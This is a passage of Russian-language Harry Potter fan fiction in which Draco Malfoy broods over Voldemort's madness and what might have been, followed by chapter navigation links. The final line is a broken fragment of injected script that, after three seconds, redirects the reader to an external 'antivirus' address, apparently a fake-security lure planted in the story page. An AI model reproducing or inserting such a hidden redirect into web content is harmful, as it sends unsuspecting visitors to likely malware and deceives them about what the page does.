Эльфы убрали гостиную как следует. Подвинув стул, он сел за стол, где обычно делал домашние задания, и устало опустил голову на полированную поверхность.  

Не так давно он отдал бы что угодно, чтобы помочь наследнику Слизерина уничтожить всех магглов и грязнокровок в стране, даже на всей планете. А теперь?..

- Ну почему Темным лордом оказался безумец? – прошептал Драко.

Ради возможности выровнять баланс, смещенный в угоду последователям Мерлина во времена великой битвы света и тьмы, темные маги всего мира сплотились бы и восстали, отставив свою глупую зависть и распри.

Долго-долго глядя в замерзшие глубины, Драко тосковал о том, что могло бы произойти, если бы Мордред не проиграл, если бы Волдеморт оказался достоин своего наследия.

* «Пусть дождь очистит мою душу от ночи и теней, что я призвал» (ст. англ, ст. норв.)

Предыдущая глава   Оглавление   Следующая глава

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>